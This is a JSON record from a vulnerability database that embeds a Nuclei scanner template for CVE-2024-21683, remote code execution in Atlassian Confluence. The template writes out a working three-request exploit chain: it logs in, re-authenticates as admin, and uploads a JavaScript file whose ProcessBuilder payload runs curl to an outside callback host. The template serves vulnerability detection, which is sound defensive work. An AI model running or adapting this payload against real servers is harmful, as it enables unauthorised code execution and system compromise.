{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2024-21683/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2024-21683/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2024-21683/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2024-21683/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2024-21683/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2024-21683"},"sightings":{"href":"/api/v1/sightings/cve-2024-21683"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2024/CVE-2024-21683.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2024-21683\n\ninfo:\n  name: Atlassian Confluence Data Center and Server - Remote Code Execution\n  author: pdresearch\n  severity: high\n  description: |\n    Detects a Remote Code Execution vulnerability in Confluence Data Center and Server versions prior to X.X (affected versions). This issue allows authenticated attackers to execute arbitrary code.\n  impact: |\n    Authenticated attackers can execute arbitrary code on the Confluence server, potentially compromising the entire system and accessing sensitive data.\n  remediation: |\n    Update Atlassian Confluence Data Center and Server to the latest patched version.\n  reference:\n    - https://confluence.atlassian.com/security/security-bulletin-may-21-2024-1387867145.html\n    - https://realalphaman.substack.com/p/quick-note-about-cve-2024-21683-authenticated\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-21683\n    - https://confluence.atlassian.com/pages/viewpage.action?pageId=1387867145\n    - https://jira.atlassian.com/browse/CONFSERVER-95832\n  classification:\n    cvss-metrics: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 8.3\n    cve-id: CVE-2024-21683\n    cwe-id: CWE-78\n    epss-score: 0.88267\n    epss-percentile: 0.99766\n    cpe: cpe:2.3:a:atlassian:confluence_data_center:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 3\n    fofa-query: \"app=\\\"ATLASSIAN-Confluence\\\"\"\n    product: confluence_data_center\n    vendor: atlassian\n  tags: cve,cve2024,atlassian,confluence,rce,authenticated,intrusive,vkev,vuln\nvariables:\n  username: \"{{username}}\"\n  password: \"{{password}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /dologin.action HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        os_username={{username}}&os_password={{password}}&login=Log+in&os_destination=\n\n      - |\n        POST /doauthenticate.action HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        X-Atlassian-Token: no-check\n\n        password={{password}}&authenticate=Confirm&destination=%2Fadmin%2Fplugins%2Fnewcode%2Faddlanguage.action\n\n      - |\n        POST /admin/plugins/newcode/addlanguage.action HTTP/1.1\n        Host: {{Hostname}}\n        X-Atlassian-Token: no-check\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFcBwsDjo5LkYWGWE\n\n        ------WebKitFormBoundaryFcBwsDjo5LkYWGWE\n        Content-Disposition: form-data; name=\"languageFile\";filename=\"{{randstr}}.js\"\n        Content-type: text/javascript\n\n        new java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"curl\",\"{{interactsh-url}}\"]).start()\n        ------WebKitFormBoundaryFcBwsDjo5LkYWGWE\n        Content-Disposition: form-data; name=\"newLanguageName\"\n\n        {{randstr}}\n        ------WebKitFormBoundaryFcBwsDjo5LkYWGWE--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code_1 == 302 && status_code_2 == 302\n          - contains(interactsh_protocol, 'dns')\n          - contains(body_3, \"confluence\")\n        condition: and\n# digest: 4a0a00473045022066473242d03c5576220a47aacfec39ae69eb72efae8563d3221cab76082151fd022100de98e34dd7c0268c4582fba0ab7b3ee2520975e5a254ecc8d5d0b6a82f1f6d89:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2024-21683"}